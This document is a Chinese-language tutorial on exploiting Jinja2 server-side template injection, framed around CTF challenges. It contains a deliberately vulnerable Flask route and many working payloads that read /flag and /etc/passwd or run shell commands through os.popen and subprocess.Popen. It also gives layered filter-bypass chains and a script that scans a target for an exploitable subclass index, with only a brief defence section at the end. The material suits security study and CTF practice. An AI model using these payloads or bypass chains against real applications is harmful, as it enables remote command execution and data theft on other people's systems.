SSTI之细说jinja2的常用构造及利用思路
字数 1513 2025-08-11 08:36:16
Jinja2 SSTI 注入深度解析与利用指南
一、模板引擎与SSTI基础
1.1 模板引擎概念
模板引擎是为了实现用户界面与业务数据分离而产生的技术,可以生成特定格式的文档(如HTML)。它不属于特定技术领域,而是跨平台的概念,在Python、PHP、Java等语言中都有实现。
1.2 SSTI注入原理
服务端模板注入(SSTI)是由于框架不规范使用导致的漏洞,主要发生在:
- Python框架:Jinja2、Mako、Tornado、Django、Flask
- PHP框架:Smarty、Twig、ThinkPHP
- Java框架:Jade、Velocity、Spring
漏洞成因:当用户输入未经合理处理直接插入程序段中,改变了程序执行逻辑。
二、Jinja2模板语法基础
2.1 基本语法结构
{% ... %}:用于声明(控制语句){{ ... }}:用于打印表达式到模板输出{# ... #}:模板注释# ... ##:行语句(简化语法)
2.2 漏洞示例代码
from flask import Flask, render_template_string
app = Flask(__name__)
@app.route('/ssti')
def ssti():
template = '<h1>This is ssti! %s</h1>' % request.args["x"]
return render_template_string(template)
三、常用方法与属性
3.1 核心魔术方法
__class__:实例对象的类__base__:类型对象的直接基类__bases__:类型对象的全部基类(元组形式)__mro__:查看继承关系和调用顺序__subclasses__():返回类的子类集合__init__:类初始化方法__globals__:获取函数所处空间的全局变量__dict__:类的静态函数、类函数等属性集合__getattribute__():获取实例、类、函数属性__builtins__:内建名称空间(含内建函数)
3.2 Flask特有方法
url_for:获取__builtins__get_flashed_messages:获取__builtins__lipsum:可获取os模块current_app:应用上下文全局变量config:当前应用的所有配置request:获取请求信息
四、无过滤情况下的利用
4.1 基本利用链
对象 → 类 → 基本类 → 子类 → (__init__方法 → __globals__属性 → __builtins__属性) → 读取文件的类
4.2 常用Payload示例
# 读文件
{{ [].__class__.__base__.__subclasses__()[257]('flag').read() }} # Python3
# 命令执行
{{ ''.__class__.__mro__[2].__subclasses__()[258]('cat /flag',shell=True,stdout=-1).communicate()[0].strip() }}
# 获取os模块
{{ lipsum.__globals__['os'].popen('ls').read() }}
# 通过config获取
{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
五、绕过过滤技术
5.1 基础绕过技术
1. 点号(.)绕过
- 使用中括号
[]:{{ ""["__class__"] }} - 使用
attr()过滤器:{{ ""|attr("__class__") }}
2. 单双引号绕过
- 使用
request对象:{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd - 使用拼接:
{{ "fl""ag" }} 或 {{ 'fl''ag' }}
3. 关键字绕过
- 反转字符串:
{{ ""["__ssalc__"][::-1] }} - 使用
join拼接:{{ (("_","_","class","_","_")|join) }} - ASCII转换:
{{ "{0:c}{1:c}{2:c}".format(95,95,99) }} # 输出"__c"
5.2 高级绕过技术
1. 绕过中括号[]
- 使用
__getitem__:{{ "".__class__.__mro__.__getitem__(2) }} - 使用
pop():{{ "".__class__.__mro__.__getitem__(5).__subclasses__().pop(48)('/flag').read() }}
2. 绕过{{}}
- 使用
{%%}控制语句:{% if ''.__class__ %}1{% endif %} - 使用
print标记:{% print(''.__class__) %}
3. 绕过下划线_
- 使用
request传递:{{ ()[request.args.class][request.args.bases][0][request.args.subclasses]()[40]('/flag').read() }}&class=__class__&bases=__bases__&subclasses=__subclasses__
4. 绕过数字
- 使用全角数字:
{{ "".__class__.__mro__.__getitem__(2) }} # 注意使用的是全角数字
六、实战案例分析
6.1 [CSCCTF 2019 Qual]FlaskLight
无过滤SSTI,直接利用:
?search={{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()
6.2 [GYCTF2020]FlaskApp
过滤了os、flag等关键字,使用拼接绕过:
{{ config.__class__.__init__.__globals__['__buil'+'tins__']['__impor'+'t__']('o'+'s').__dict__['pop'+'en']('cat /this_is_the_fl'+'ag').read() }}
6.3 [Dest0g3 520迎新赛]EasySSTI
过滤了_.'"[]等字符,使用复杂绕过:
{%set%0apo=dict(po=a,p=a)|join%} # pop
{%set%0aa=(()|select|string|list)|attr(po)(24)%} # _
{%set%0aglo=(a,a,dict(glo=aa,bals=aa)|join,a,a)|join()%} # globals
{%set%0ageti=(a,a,dict(ge=aa,titem=aa)|join,a,a)|join()%} # getitem
{%set%0ape=dict(po=aaa,pen=aaa)|join%} # popen
{%set%0are=dict(rea=aaaaa,d=aaaaa)|join%} # read
{{(()|attr(glo)|attr(geti))('os')|attr(pe)('cat /flag')|attr(re)()}}
七、自动化脚本
7.1 查找可利用子类的脚本
import requests
import re
index = 0
for i in range(0, 500):
try:
url = f"http://target/?search={{''.__class__.__bases__[0].__subclasses__()[{i}]}}"
r = requests.get(url)
if 'subprocess.Popen' in r.text:
index = i
break
except:
continue
print(f"Index of subprocess.Popen: {index}")
7.2 字符转换脚本
# 将字符串转换为chr()拼接形式
def str_to_chr(s):
return '~'.join(f'chr({ord(c)})' for c in s)
# 将数字转换为全角
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
full += ch
return full
八、防御措施
- 避免直接渲染用户输入:不要使用
render_template_string直接渲染用户输入 - 严格过滤:对用户输入进行严格的过滤和转义
- 使用沙箱:在沙箱环境中执行模板渲染
- 最小权限原则:以最小必要权限运行应用
通过深入理解这些技术点,安全研究人员可以更有效地发现和利用SSTI漏洞,同时开发人员也能更好地防御此类漏洞。